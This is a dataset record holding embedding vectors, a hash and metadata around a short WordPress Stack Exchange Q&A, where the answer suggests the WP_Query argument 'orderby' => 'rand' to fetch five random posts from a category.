-0.0011997222900390625,
0.00331878662109375,
0.0307769775390625,
-0.006824493408203125,
0.00014472007751464844,
-0.032958984375,
-0.06829833984375,
0.019866943359375,
0.06915283203125,
0.02490234375,
-0.011260986328125,
-0.010009765625,
0.03546142578125,
-0.01702880859375,
0.043914794921875,
0.014129638671875,
-0.015289306640625,
0.0276031494140625,
-0.05487060546875,
0.0474853515625,
-0.04241943359375,
0.041351318359375,
0.0447998046875,
-0.0275115966796875,
0.022918701171875,
0.002925872802734375,
0.031158447265625,
0.03607177734375,
-0.01409149169921875,
-0.0083770751953125,
0.0177001953125,
-0.057891845703125,
-0.030792236328125,
0.0284271240234375,
0.051513671875,
-0.00003927946090698242,
-0.031463623046875,
0.0230560302734375,
0.0171966552734375,
-0.0712890625,
-0.072509765625,
0.03131103515625,
-0.040557861328125,
-0.0034427642822265625,
-0.031463623046875,
-0.022186279296875,
-0.01122283935546875,
-0.01276397705078125,
-0.00690460205078125,
-0.028228759765625,
-0.026702880859375,
-0.046112060546875,
-0.061614990234375,
-0.0443115234375,
-0.021209716796875,
-0.019866943359375,
-0.01421356201171875,
0.01021575927734375,
0.060638427734375,
0.0118865966796875,
-0.07427978515625,
0.01470184326171875,
0.038726806640625,
-0.037384033203125,
0.0225677490234375,
-0.007171630859375,
-0.040252685546875,
-0.006282806396484375,
-0.01107025146484375,
0.012939453125,
0.01210784912109375,
-0.0023441314697265625,
0.007183074951171875,
-0.0025119781494140625,
-0.0111541748046875,
0.00799560546875,
-0.0008511543273925781,
0.00630950927734375,
-0.009490966796875,
-0.0020751953125,
-0.041229248046875,
-0.058349609375,
-0.0140380859375,
-0.06646728515625,
0.0230560302734375,
0.058990478515625,
-0.005523681640625,
-0.0207977294921875,
0.01114654541015625,
0.0386962890625,
0.004459381103515625,
0.0217437744140625,
-0.0218658447265625,
0.023529052734375,
0.015960693359375,
0.04180908203125,
-0.03424072265625,
0.014984130859375,
-0.0322265625,
0.0341796875,
0.0221405029296875,
0.003482818603515625,
0.01274871826171875,
-0.0025882720947265625,
-0.001804351806640625,
-0.052337646484375,
0.060333251953125,
0.028961181640625,
0.0160980224609375,
-0.012939453125,
-0.056060791015625,
0.0228424072265625,
0.11370849609375,
-0.0211029052734375,
-0.035919189453125,
-0.041168212890625,
-0.0054473876953125,
0.01708984375,
-0.032684326171875,
0.020843505859375,
-0.01513671875,
-0.0640869140625,
-0.00571441650390625,
-0.007640838623046875,
-0.040313720703125,
-0.0093231201171875,
-0.006366729736328125,
-0.034149169921875,
-0.0201568603515625,
0.0396728515625,
-0.0203857421875,
0.007843017578125,
0.04071044921875,
-0.030517578125,
0.01605224609375,
-0.0269927978515625,
-0.02191162109375,
-0.05712890625,
-0.0024776458740234375,
-0.01189422607421875,
0.03729248046875,
0.0263519287109375,
-0.047576904296875,
-0.00839996337890625,
0.029815673828125,
0.03668212890625,
0.04864501953125,
-0.0271759033203125,
-0.02203369140625,
0.0031566619873046875,
-0.040740966796875,
-0.00472259521484375,
-0.0233306884765625,
0.0277252197265625,
0.007709503173828125,
-0.018585205078125,
0.037322998046875,
-0.038238525390625,
0.0190277099609375,
-0.0007262229919433594,
-0.031982421875,
-0.0743408203125,
-0.01134490966796875,
0.067138671875,
0.0222320556640625,
0.01013946533203125,
0.00469970703125,
-0.0082550048828125,
-0.042266845703125,
0.0372314453125,
0.0226593017578125,
-0.0276031494140625,
0.0211639404296875,
0.056793212890625,
0.0118865966796875,
-0.03717041015625,
-0.0736083984375,
0.0208892822265625,
0.0282440185546875,
-0.0194091796875,
0.041778564453125,
0.007289886474609375,
-0.01381683349609375,
0.044342041015625,
-0.0162811279296875,
-0.0364990234375,
-0.007366180419921875,
0.058837890625,
-0.013763427734375,
-0.034881591796875,
0.02520751953125,
-0.051605224609375,
0.04119873046875,
0.0330810546875,
-0.032562255859375,
-0.027374267578125,
-0.0037708282470703125,
0.06097412109375,
-0.033477783203125,
0.0323486328125,
-0.06719970703125,
-0.00763702392578125,
-0.0188446044921875,
0.02410888671875,
0.004047393798828125,
0.03387451171875,
-0.008575439453125,
0.0080108642578125,
0.01424407958984375,
0.00989532470703125,
0.0406494140625,
0.037689208984375,
0.006313323974609375,
0.038360595703125,
0.03289794921875,
-0.00958251953125,
0.0003986358642578125,
0.00687408447265625,
-0.0215911865234375,
0.032257080078125,
-0.00971221923828125,
0.0037021636962890625,
0.0206451416015625,
-0.022186279296875,
-0.00408935546875,
0.029876708984375,
0.033447265625,
0.017547607421875,
-0.0093841552734375,
-0.0184783935546875,
-0.0209808349609375,
0.007137298583984375,
-0.051605224609375,
0.0013532638549804688,
0.0198211669921875,
-0.01480865478515625,
0.005329132080078125,
0.03485107421875,
-0.037322998046875,
0.034515380859375,
0.00014734268188476562,
0.047607421875,
0.045318603515625,
0.028594970703125,
0.00949859619140625,
-0.0039043426513671875,
-0.006519317626953125,
-0.004146575927734375,
-0.004573822021484375,
-0.04254150390625,
-0.01082611083984375,
0.020355224609375,
0.0304107666015625,
-0.0081329345703125,
-0.0190277099609375,
0.01435089111328125,
-0.01641845703125,
-0.00017440319061279297,
0.010284423828125,
-0.041229248046875,
-0.02313232421875,
-0.035888671875,
0.006793975830078125,
0.03900146484375,
-0.02081298828125,
-0.00005984306335449219,
-0.0005178451538085938,
-0.01568603515625,
-0.0098419189453125,
0.00939178466796875,
-0.025665283203125,
-0.0109405517578125,
-0.006542205810546875,
-0.0143585205078125,
-0.0272216796875,
0.00687408447265625,
-0.10491943359375,
-0.022430419921875,
-0.003826141357421875,
0.0029048919677734375,
0.01727294921875,
-0.0227508544921875,
0.0645751953125,
-0.01509857177734375,
-0.03729248046875,
-0.004917144775390625,
0.01009368896484375,
0.0255126953125,
0.03570556640625,
-0.0245513916015625,
-0.0035839080810546875,
-0.016204833984375,
-0.01485443115234375,
-0.0029392242431640625,
-0.0130157470703125,
-0.047271728515625,
-0.014312744140625,
-0.01309967041015625,
0.03814697265625,
-0.0132598876953125,
0.01129913330078125,
-0.0291595458984375,
-0.0038166046142578125,
-0.02008056640625,
0.043212890625,
-0.0234527587890625,
0.0802001953125,
-0.01284027099609375,
0.045196533203125,
-0.0002849102020263672,
0.0284576416015625,
-0.0160980224609375,
-0.005664825439453125,
-0.0195465087890625,
-0.037322998046875,
-0.003276824951171875,
-0.0032711029052734375,
-0.046417236328125,
0.052276611328125,
0.08538818359375,
0.018157958984375,
0.01129150390625,
-0.06005859375,
-0.0153961181640625,
-0.022369384765625,
0.07977294921875,
-0.05987548828125,
-0.009765625,
0.0152740478515625,
-0.0157470703125,
-0.016265869140625,
0.005397796630859375,
-0.029693603515625,
0.038360595703125,
-0.0003609657287597656,
0.0188140869140625,
-0.0010061264038085938,
-0.037994384765625,
0.0615234375,
0.06024169921875,
-0.004058837890625,
0.03924560546875,
0.0001538991928100586,
-0.002685546875,
0.02508544921875,
0.0084228515625,
0.0122528076171875,
-0.006805419921875,
0.061431884765625,
0.005146026611328125,
-0.007610321044921875,
0.05413818359375,
-0.03265380859375,
-0.01395416259765625,
0.07012939453125,
0.0259552001953125,
-0.08660888671875,
-0.01030731201171875,
0.0164947509765625,
0.009368896484375,
-0.021331787109375,
0.000484466552734375,
-0.01503753662109375,
-0.04266357421875,
0.04559326171875,
0.004436492919921875,
0.001430511474609375,
0.018524169921875,
-0.0054931640625,
0.0211334228515625,
0.021148681640625,
0.0784912109375,
-0.0078582763671875,
0.000789642333984375,
-0.077392578125,
0.0173187255859375,
-0.027252197265625,
-0.0254058837890625,
-0.0089111328125,
0.01435089111328125,
0.006320953369140625,
-0.0275421142578125,
0.054595947265625,
-0.0478515625,
0.0423583984375,
0.016021728515625,
0.0229949951171875,
0.0163116455078125,
0.06036376953125,
-0.0129852294921875,
0.034912109375,
0.030914306640625,
-0.013275146484375,
-0.0297698974609375,
0.01499176025390625,
-0.01172637939453125,
-0.018524169921875,
-0.0202178955078125,
-0.0029621124267578125,
-0.0694580078125,
0.0250244140625,
-0.0169677734375,
0.03558349609375,
0.1077880859375,
-0.006481170654296875,
-0.045654296875,
0.0261993408203125,
0.0360107421875,
-0.0274200439453125,
0.019378662109375,
-0.0139923095703125,
-0.0227203369140625,
-0.0052490234375,
-0.004322052001953125,
-0.0295562744140625,
-0.01178741455078125,
-0.0007748603820800781,
-0.07275390625,
0.061065673828125,
0.0205230712890625,
0.06610107421875,
0.046966552734375,
0.00004178285598754883,
-0.03802490234375,
-0.022491455078125,
-0.0287933349609375,
0.04644775390625,
0.05096435546875,
0.0743408203125,
-0.040802001953125,
-0.0279693603515625,
0.0325927734375,
0.07830810546875,
0.03802490234375,
0.00408172607421875,
-0.020111083984375,
-0.0228729248046875,
0.029693603515625,
0.020416259765625,
-0.005451202392578125,
0.03485107421875,
-0.0253143310546875,
0.03472900390625,
0.020965576171875,
-0.06097412109375,
0.026947021484375,
-0.027618408203125,
-0.0128326416015625,
-0.01070404052734375,
0.017181396484375,
0.04156494140625,
-0.035186767578125,
0.00814056396484375,
0.006805419921875,
-0.03985595703125,
0.01213836669921875,
-0.042938232421875,
0.009368896484375,
0.01983642578125,
0.0257110595703125,
-0.042572021484375,
-0.01520538330078125,
-0.022705078125,
0.04656982421875,
0.00907135009765625,
0.0252532958984375,
-0.002899169921875,
0.030853271484375,
0.0567626953125,
-0.029541015625,
0.00859832763671875,
0.0241851806640625,
-0.0311737060546875,
0.0517578125,
-0.00930023193359375,
0.02117919921875,
-0.05548095703125,
0.0377197265625,
0.014404296875,
0.0264892578125,
-0.0440673828125,
-0.0728759765625,
0.01427459716796875,
0.00957489013671875,
-0.00028061866760253906,
0.031494140625,
-0.0079498291015625,
-0.02471923828125,
0.031585693359375,
-0.033660888671875,
-0.01849365234375,
0.01007080078125,
0.00885009765625,
-0.0200347900390625,
-0.041839599609375,
0.02020263671875,
-0.010223388671875,
-0.04425048828125,
0.006145477294921875,
0.0411376953125,
0.06585693359375,
0.01519012451171875,
0.0298614501953125,
-0.034423828125,
-0.041046142578125,
-0.01568603515625,
0.0059814453125,
-0.037933349609375,
0.0491943359375,
-0.048004150390625,
-0.013031005859375,
-0.0267791748046875,
0.041168212890625,
0.041656494140625,
0.013946533203125,
0.02899169921875,
0.00386810302734375,
-0.01105499267578125,
0.0023899078369140625,
0.0111236572265625,
-0.0279083251953125,
0.0235443115234375,
-0.02203369140625,
0.006256103515625,
-0.007778167724609375,
-0.02423095703125,
-0.01021575927734375,
0.0279998779296875,
0.0022945404052734375,
-0.0271148681640625,
0.049285888671875,
-0.0107269287109375,
-0.0109710693359375,
0.04522705078125,
-0.004055023193359375,
0.062042236328125,
0.00693511962890625,
-0.05706787109375,
0.004150390625,
-0.043212890625,
-0.051422119140625,
0.0303192138671875,
0.037628173828125,
-0.042724609375,
0.050628662109375,
0.04547119140625,
0.034271240234375,
-0.0011501312255859375,
-0.0254974365234375,
0.0007348060607910156,
0.0110931396484375,
0.048370361328125,
0.041290283203125,
0.01374053955078125,
0.006931304931640625,
0.024322509765625,
0.0146942138671875,
0.0311431884765625,
0.052337646484375,
-0.00891876220703125,
0.01251983642578125,
0.006328582763671875,
0.01525115966796875,
-0.01122283935546875,
-0.0225982666015625,
0.0836181640625,
0.0166168212890625,
-0.004367828369140625,
-0.0268096923828125,
-0.04058837890625,
0.026519775390625,
0.049560546875,
-0.0133056640625,
0.04046630859375,
-0.024688720703125,
0.01348876953125,
-0.03460693359375,
-0.0038890838623046875,
-0.02227783203125,
-0.0109710693359375,
-0.0146636962890625,
-0.01410675048828125,
0.0257415771484375,
0.020172119140625,
0.018951416015625,
0.04644775390625,
-0.005702972412109375,
-0.0355224609375,
0.01715087890625,
-0.060089111328125,
0.0101165771484375,
0.023406982421875,
0.0556640625,
-0.0184783935546875,
0.03466796875,
-0.007282257080078125,
0.017974853515625,
-0.007221221923828125,
0.056488037109375,
0.0255889892578125,
-0.020477294921875,
0.005126953125,
-0.0203094482421875,
0.0217742919921875,
-0.01229095458984375,
-0.0269775390625,
-0.006122589111328125,
0.009429931640625,
-0.017608642578125,
0.0106201171875,
-0.0173492431640625,
-0.02630615234375,
0.0154266357421875,
0.0190582275390625,
0.0074462890625,
-0.005916595458984375,
-0.026947021484375,
-0.01309967041015625,
0.020538330078125,
0.00264739990234375,
-0.029144287109375,
0.0239105224609375,
0.00033926963806152344,
0.007518768310546875,
0.0005245208740234375,
0.00936126708984375,
0.006404876708984375,
0.0182037353515625,
-0.04193115234375,
0.0474853515625,
-0.00852203369140625,
-0.041412353515625,
0.0316162109375,
-0.0041656494140625,
0.04052734375,
-0.0135650634765625,
-0.007965087890625,
0.01495361328125,
0.006816864013671875,
0.059051513671875,
-0.0305938720703125,
-0.01215362548828125,
0.05047607421875,
-0.0016021728515625,
-0.0283050537109375,
-0.05096435546875,
-0.006420135498046875,
-0.012847900390625,
0.030975341796875,
0.02178955078125,
-0.006465911865234375,
0.030242919921875,
-0.02825927734375,
-0.06573486328125,
0.037994384765625,
0.0039520263671875,
-0.04345703125,
-0.0513916015625,
0.0330810546875,
-0.008056640625,
0.016754150390625,
-0.02398681640625,
-0.00836944580078125,
0.007747650146484375,
0.039276123046875,
0.0308685302734375,
0.0235137939453125,
0.0254364013671875,
0.0306396484375,
-0.0382080078125,
0.007465362548828125,
-0.0222625732421875,
0.0100555419921875,
-0.00830841064453125,
-0.0157623291015625,
0.01345062255859375,
0.01184844970703125,
-0.031951904296875,
-0.003322601318359375,
0.031890869140625,
0.0121612548828125,
0.0262908935546875,
0.01546478271484375,
-0.048065185546875,
-0.04217529296875,
0.0214385986328125,
0.04327392578125,
0.0236053466796875,
0.01029205322265625,
0.0291595458984375,
-0.0108795166015625,
-0.046051025390625,
0.00939178466796875,
0.0234222412109375,
-0.037445068359375,
0.0037364959716796875,
0.01340484619140625,
-0.028167724609375,
0.00913238525390625,
-0.002323150634765625,
-0.050445556640625,
0.01482391357421875,
0.00601959228515625,
0.00007855892181396484,
-0.02630615234375,
0.0120391845703125,
0.004871368408203125,
-0.015533447265625,
-0.02252197265625,
-0.038604736328125,
0.0152740478515625,
-0.031585693359375,
-0.061737060546875,
0.003108978271484375,
0.0297393798828125,
-0.053985595703125,
0.01214599609375,
0.0037212371826171875,
0.00408172607421875,
-0.035186767578125,
0.005771636962890625,
-0.013946533203125,
0.031768798828125,
0.00394439697265625,
-0.0027866363525390625,
-0.03839111328125,
0.0908203125,
0.00737762451171875,
0.101806640625,
0.0026035308837890625,
0.041473388671875,
0.0016584396362304688,
0.0400390625,
0.034423828125,
-0.03955078125,
0.054595947265625,
-0.048492431640625,
0.0008015632629394531,
-0.0277557373046875,
-0.028533935546875,
-0.0255584716796875,
-0.00011008977890014648,
0.007106781005859375,
-0.029815673828125,
0.012420654296875
] |
bf15cdf62f0cf2bd59009a9350afea65835d18c2
|
Wordpress Stackexchange
Q: WP_Query + random Is there any way to get this
<?php
$pc = new WP_Query ('category_name=cat1&posts_per_page=5');
?>
but each time display a RANDOM different batch of 5 ones?
A: Please try this:
$args = array(
'category_name' => 'cat1',
'posts_per_page' => 5,
'orderby' => 'rand',
);
$pc = new WP_Query( $args );
where 'rand' should give you a random order of your posts.
For more info check out the Codex on WP_Query order parameters here.
|
Q: WP_Query + random Is there any way to get this
<?php
$pc = new WP_Query ('category_name=cat1&posts_per_page=5');
?>
but each time display a RANDOM different batch of 5 ones?
A: Please try this:
$args = array(
'category_name' => 'cat1',
'posts_per_page' => 5,
'orderby' => 'rand',
);
$pc = new WP_Query( $args );
where 'rand' should give you a random order of your posts.
For more info check out the Codex on WP_Query order parameters here.
|
wordpress
|
{
"language": "en",
"length": 75,
"provenance": "stackexchange_00019.jsonl.gz:437407",
"question_score": "25",
"source": "stackexchange",
"timestamp": "2023-03-29",
"url": "https://wordpress.stackexchange.com/questions/115130"
}
|
[
0.0215911865234375,
0.01029205322265625,
-0.027618408203125,
0.01100921630859375,
0.01538848876953125,
-0.043365478515625,
0.049407958984375,
-0.024627685546875,
-0.045989990234375,
0.01165008544921875,
-0.0435791015625,
0.00908660888671875,
-0.0172119140625,
-0.0244903564453125,
0.0230255126953125,
-0.051361083984375,
0.03167724609375,
0.011932373046875,
0.0015344619750976562,
-0.01174163818359375,
0.01044464111328125,
0.0123138427734375,
-0.0250701904296875,
0.066162109375,
0.0205078125,
0.017669677734375,
0.0294036865234375,
-0.030975341796875,
0.011810302734375,
-0.00934600830078125,
0.0146942138671875,
-0.01396942138671875,
0.0142059326171875,
0.0090179443359375,
0.01247406005859375,
0.01248931884765625,
0.04248046875,
-0.015716552734375,
0.0128326416015625,
0.02093505859375,
0.01326751708984375,
0.00646209716796875,
0.0230865478515625,
-0.0013914108276367188,
-0.0229644775390625,
0.003429412841796875,
-0.006481170654296875,
-0.01554107666015625,
0.01287078857421875,
0.00021398067474365234,
0.0133209228515625,
-0.0082855224609375,
0.0165863037109375,
-0.0216217041015625,
-0.003780364990234375,
0.0092926025390625,
0.0208587646484375,
0.0086822509765625,
0.056488037109375,
-0.05322265625,
-0.07269287109375,
-0.03857421875,
0.047882080078125,
-0.016326904296875,
-0.0200042724609375,
0.018829345703125,
0.07623291015625,
-0.00914764404296875,
0.005908966064453125,
-0.0222930908203125,
0.0170745849609375,
0.00984954833984375,
0.01134490966796875,
-0.0258331298828125,
-0.0156097412109375,
-0.005306243896484375,
-0.03338623046875,
-0.03399658203125,
0.0306549072265625,
-0.0015611648559570312,
-0.048736572265625,
-0.01873779296875,
-0.06500244140625,
-0.0003948211669921875,
-0.0241546630859375,
0.01288604736328125,
-0.033905029296875,
0.00298309326171875,
-0.039642333984375,
-0.045745849609375,
-0.024444580078125,
-0.06512451171875,
-0.057037353515625,
0.0157318115234375,
0.011077880859375,
-0.038543701171875,
0.042816162109375,
0.029388427734375,
0.0055999755859375,
-0.0108489990234375,
0.01134490966796875,
-0.048980712890625,
0.003116607666015625,
-0.0068511962890625,
-0.0008940696716308594,
0.024078369140625,
0.0086822509765625,
0.005672454833984375,
0.0294189453125,
0.032135009765625,
0.0010356903076171875,
0.04571533203125,
0.0184173583984375,
-0.00649261474609375,
-0.037109375,
0.01898193359375,
-0.0171051025390625,
0.0191650390625,
0.00948333740234375,
0.0345458984375,
0.0029277801513671875,
0.019927978515625,
0.0154876708984375,
-0.0144805908203125,
0.0207977294921875,
0.0162811279296875,
-0.01497650146484375,
-0.038360595703125,
-0.05426025390625,
0.048095703125,
-0.012176513671875,
0.0102081298828125,
0.051300048828125,
0.041748046875,
-0.004486083984375,
-0.0272369384765625,
0.00994873046875,
-0.0233001708984375,
0.0101165771484375,
-0.01401519775390625,
-0.00646209716796875,
-0.002910614013671875,
0.0285186767578125,
-0.00580596923828125,
0.046051025390625,
-0.0218658447265625,
0.002727508544921875,
0.035064697265625,
0.044403076171875,
0.06573486328125,
-0.0189056396484375,
0.0091094970703125,
-0.0020885467529296875,
0.01641845703125,
0.00461578369140625,
0.04534912109375,
-0.0160369873046875,
0.03192138671875,
-0.036468505859375,
0.0312042236328125,
0.053070068359375,
0.00672149658203125,
0.0247650146484375,
0.024444580078125,
-0.0115509033203125,
-0.00946807861328125,
-0.06365966796875,
-0.01293182373046875,
0.0229034423828125,
0.05120849609375,
-0.0016279220581054688,
-0.01119232177734375,
0.049560546875,
0.01479339599609375,
-0.0217132568359375,
0.0291595458984375,
0.029876708984375,
-0.0197601318359375,
0.0189666748046875,
0.016448974609375,
-0.0221405029296875,
-0.031280517578125,
0.0303497314453125,
-0.0204010009765625,
-0.0241546630859375,
-0.00859832763671875,
0.01093292236328125,
0.058746337890625,
0.01837158203125,
0.044952392578125,
-0.0031414031982421875,
-0.0164337158203125,
-0.03179931640625,
0.03887939453125,
-0.0015354156494140625,
0.0031280517578125,
-0.044677734375,
0.013580322265625,
-0.01222991943359375,
-0.05072021484375,
-0.005260467529296875,
-0.0186614990234375,
-0.01154327392578125,
0.00588226318359375,
-0.0243377685546875,
-0.0191192626953125,
-0.00313568115234375,
0.0170135498046875,
0.01064300537109375,
0.035736083984375,
0.01091766357421875,
0.0002027750015258789,
-0.020751953125,
-0.0198974609375,
-0.0279998779296875,
-0.0218048095703125,
0.00945281982421875,
0.0189361572265625,
-0.01104736328125,
-0.01177215576171875,
-0.0160980224609375,
-0.0478515625,
-0.0307464599609375,
0.04901123046875,
0.0889892578125,
-0.057708740234375,
0.004486083984375,
-0.0584716796875,
0.070068359375,
-0.0245819091796875,
-0.0308990478515625,
0.050537109375,
0.028778076171875,
0.04510498046875,
-0.0113525390625,
0.0023174285888671875,
0.0282440185546875,
-0.04534912109375,
0.0084228515625,
0.0298919677734375,
0.042510986328125,
0.0235748291015625,
0.0268096923828125,
-0.005100250244140625,
0.043060302734375,
-0.03240966796875,
0.039154052734375,
-0.040374755859375,
0.01462554931640625,
0.051055908203125,
0.0198822021484375,
0.00966644287109375,
0.005992889404296875,
0.038604736328125,
0.00634765625,
0.01488494873046875,
0.00666046142578125,
0.06707763671875,
-0.037261962890625,
0.01071929931640625,
-0.026275634765625,
0.013397216796875,
0.019805908203125,
-0.007965087890625,
0.01123809814453125,
-0.003574371337890625,
0.01241302490234375,
0.00433349609375,
-0.00872802734375,
0.0081329345703125,
0.005382537841796875,
-0.0428466796875,
-0.01328277587890625,
-0.017364501953125,
-0.0038356781005859375,
0.01140594482421875,
-0.03411865234375,
0.0264892578125,
0.0002830028533935547,
-0.017425537109375,
-0.02740478515625,
0.055511474609375,
0.010986328125,
-0.02838134765625,
-0.047088623046875,
-0.056793212890625,
0.0123291015625,
-0.0345458984375,
-0.02801513671875,
0.0128173828125,
0.0159149169921875,
0.0775146484375,
0.00324249267578125,
0.02349853515625,
-0.01172637939453125,
0.032623291015625,
-0.00820159912109375,
-0.043304443359375,
0.031036376953125,
-0.05413818359375,
0.005939483642578125,
0.055877685546875,
-0.01233673095703125,
0.0028285980224609375,
-0.0005130767822265625,
0.050323486328125,
0.04083251953125,
-0.0015211105346679688,
-0.015716552734375,
-0.0195770263671875,
-0.020751953125,
-0.0301055908203125,
0.0269775390625,
-0.00579071044921875,
0.042694091796875,
-0.0079803466796875,
0.021636962890625,
0.0159149169921875,
-0.08941650390625,
-0.1444091796875,
0.08087158203125,
0.0162506103515625,
0.01934814453125,
0.0034847259521484375,
0.0214691162109375,
-0.06329345703125,
0.00653839111328125,
-0.0220947265625,
-0.006435394287109375,
-0.0033130645751953125,
-0.022857666015625,
-0.032867431640625,
-0.04071044921875,
-0.00797271728515625,
0.01113128662109375,
0.0153045654296875,
0.01203155517578125,
0.0814208984375,
0.0166168212890625,
-0.06378173828125,
-0.0006799697875976562,
0.02410888671875,
-0.04144287109375,
-0.0018415451049804688,
0.011322021484375,
-0.01325225830078125,
0.0166473388671875,
-0.01160430908203125,
0.052093505859375,
0.05413818359375,
-0.040191650390625,
0.017242431640625,
0.003009796142578125,
0.018890380859375,
0.0081329345703125,
-0.0179290771484375,
-0.004909515380859375,
0.02178955078125,
-0.0272674560546875,
-0.0343017578125,
0.02618408203125,
-0.035552978515625,
-0.0256195068359375,
0.00917816162109375,
0.0014314651489257812,
0.0036258697509765625,
-0.007129669189453125,
-0.00728607177734375,
-0.025970458984375,
-0.0271453857421875,
0.002758026123046875,
-0.05023193359375,
0.04388427734375,
0.006832122802734375,
0.0081329345703125,
0.0031604766845703125,
-0.00007385015487670898,
-0.028961181640625,
-0.037872314453125,
-0.0287017822265625,
-0.03302001953125,
-0.038330078125,
-0.00469207763671875,
-0.03790283203125,
-0.0223846435546875,
0.030303955078125,
-0.015533447265625,
-0.01141357421875,
0.016021728515625,
-0.01522064208984375,
0.024261474609375,
0.050689697265625,
-0.0202484130859375,
-0.027984619140625,
-0.038330078125,
0.00705718994140625,
-0.0230560302734375,
-0.0653076171875,
0.00647735595703125,
-0.004039764404296875,
-0.035736083984375,
0.0006060600280761719,
-0.008575439453125,
-0.032379150390625,
0.0016107559204101562,
-0.0163116455078125,
-0.0258026123046875,
-0.02001953125,
0.03643798828125,
-0.0110015869140625,
0.01351165771484375,
-0.014984130859375,
0.01507568359375,
-0.032501220703125,
-0.01169586181640625,
-0.0166778564453125,
-0.1016845703125,
-0.0268402099609375,
-0.00885772705078125,
0.06793212890625,
0.0186767578125,
-0.0711669921875,
-0.005279541015625,
0.0665283203125,
-0.0119171142578125,
-0.0017604827880859375,
0.02850341796875,
0.0304718017578125,
-0.0037403106689453125,
-0.029083251953125,
-0.00196075439453125,
-0.04180908203125,
-0.0006647109985351562,
-0.0247650146484375,
0.00766754150390625,
-0.0104217529296875,
-0.0491943359375,
-0.040740966796875,
-0.040557861328125,
-0.00960540771484375,
-0.051544189453125,
-0.0186309814453125,
-0.0185699462890625,
0.022796630859375,
-0.03875732421875,
0.015411376953125,
-0.0253143310546875,
-0.04498291015625,
0.0266265869140625,
0.0008254051208496094,
-0.01537322998046875,
-0.0023956298828125,
0.08172607421875,
0.0169525146484375,
-0.0171356201171875,
-0.0082550048828125,
-0.0178985595703125,
0.0007905960083007812,
0.0293426513671875,
0.06195068359375,
0.02294921875,
0.00525665283203125,
0.0255126953125,
-0.004547119140625,
0.01239013671875,
-0.046844482421875,
0.0638427734375,
-0.036376953125,
-0.0032100677490234375,
0.0201873779296875,
-0.060089111328125,
0.04595947265625,
0.050018310546875,
-0.0098419189453125,
-0.0099945068359375,
-0.032257080078125,
0.034912109375,
-0.0013246536254882812,
-0.0241546630859375,
-0.036346435546875,
0.0012922286987304688,
0.0017690658569335938,
0.0404052734375,
0.01407623291015625,
0.041656494140625,
-0.0018329620361328125,
-0.01084136962890625,
0.015899658203125,
-0.01168060302734375,
0.0012941360473632812,
0.00466156005859375,
-0.0200653076171875,
0.0050506591796875,
0.005512237548828125,
-0.0347900390625,
-0.00616455078125,
0.0005898475646972656,
-0.0002071857452392578,
0.00911712646484375,
-0.03936767578125,
-0.001239776611328125,
0.01143646240234375,
0.0234222412109375,
-0.0156402587890625,
-0.00405120849609375,
0.001461029052734375,
-0.0130767822265625,
-0.003597259521484375,
0.0176849365234375,
-0.0113372802734375,
-0.024658203125,
-0.007904052734375,
0.04022216796875,
0.000396728515625,
-0.002410888671875,
0.021636962890625,
0.044219970703125,
-0.036956787109375,
0.056182861328125,
-0.0015916824340820312,
0.031768798828125,
0.023681640625,
-0.00989532470703125,
0.0259552001953125,
0.0172576904296875,
0.00437164306640625,
-0.044281005859375,
-0.004669189453125,
-0.036346435546875,
-0.0290374755859375,
0.034515380859375,
0.040802001953125,
-0.007320404052734375,
0.0050201416015625,
-0.003116607666015625,
0.00788116455078125,
-0.044647216796875,
0.01525115966796875,
-0.0020732879638671875,
0.012298583984375,
-0.059326171875,
-0.05767822265625,
0.0220489501953125,
0.039520263671875,
0.01593017578125,
0.006504058837890625,
0.025787353515625,
0.041778564453125,
-0.01849365234375,
0.0160675048828125,
-0.00867462158203125,
0.00563812255859375,
-0.016845703125,
-0.019134521484375,
-0.03265380859375,
0.07440185546875,
0.0010061264038085938,
-0.006866455078125,
-0.0399169921875,
0.036041259765625,
-0.02008056640625,
0.058502197265625,
-0.031219482421875,
-0.020599365234375,
-0.031524658203125,
0.0223236083984375,
0.035675048828125,
0.029144287109375,
-0.00876617431640625,
-0.032318115234375,
-0.0411376953125,
-0.05621337890625,
0.007175445556640625,
0.00583648681640625,
-0.025909423828125,
-0.0003559589385986328,
-0.0289459228515625,
0.0168304443359375,
-0.0211639404296875,
-0.0164642333984375,
-0.0254669189453125,
0.004337310791015625,
-0.0064239501953125,
0.0011339187622070312,
-0.0203704833984375,
0.03631591796875,
-0.0005469322204589844,
0.02569580078125,
0.007274627685546875,
0.00899505615234375,
0.012115478515625,
-0.01340484619140625,
0.0262908935546875,
-0.04327392578125,
-0.046417236328125,
-0.016632080078125,
-0.026092529296875,
-0.0160369873046875,
-0.005176544189453125,
-0.0178985595703125,
0.06231689453125,
-0.0291900634765625,
0.01329803466796875,
0.000614166259765625,
-0.04547119140625,
-0.06890869140625,
-0.0175628662109375,
0.06610107421875,
0.0008234977722167969,
-0.0012998580932617188,
-0.016632080078125,
-0.005279541015625,
0.017578125,
-0.00359344482421875,
0.00997161865234375,
-0.0124664306640625,
-0.06707763671875,
0.0677490234375,
0.10223388671875,
0.06640625,
0.096923828125,
0.006969451904296875,
0.05340576171875,
0.0281219482421875,
-0.0225372314453125,
0.038299560546875,
-0.00751495361328125,
0.039154052734375,
-0.01617431640625,
0.0174560546875,
0.031646728515625,
-0.020416259765625,
-0.0267486572265625,
0.0100555419921875,
0.01087188720703125,
-0.02069091796875,
-0.006389617919921875,
-0.01456451416015625,
-0.0198211669921875,
-0.013519287109375,
0.01788330078125,
-0.0254669189453125,
-0.033233642578125,
0.033905029296875,
0.0082244873046875,
0.003204345703125,
0.0171966552734375,
0.0111083984375,
-0.00402069091796875,
-0.00325775146484375,
0.036102294921875,
0.004329681396484375,
-0.07366943359375,
0.033294677734375,
0.035736083984375,
0.0019893646240234375,
-0.0308990478515625,
-0.0013666152954101562,
0.02276611328125,
-0.006206512451171875,
-0.05413818359375,
0.04400634765625,
-0.00482177734375,
-0.0013895034790039062,
0.01094818115234375,
-0.0188446044921875,
0.0357666015625,
0.04302978515625,
-0.00507354736328125,
-0.0170135498046875,
0.00445556640625,
0.002750396728515625,
0.0038776397705078125,
-0.01178741455078125,
0.006900787353515625,
0.011627197265625,
-0.04754638671875,
0.00382232666015625,
-0.0298004150390625,
-0.00026535987854003906,
-0.0072174072265625,
-0.01491546630859375,
0.046783447265625,
-0.0291900634765625,
-0.00992584228515625,
0.03302001953125,
0.007663726806640625,
-0.01123809814453125,
0.023895263671875,
0.0230712890625,
-0.0271453857421875,
-0.01055908203125,
0.0229034423828125,
-0.0186767578125,
-0.020172119140625,
0.00719451904296875,
-0.037841796875,
0.083251953125,
-0.037872314453125,
0.0295562744140625,
0.0406494140625,
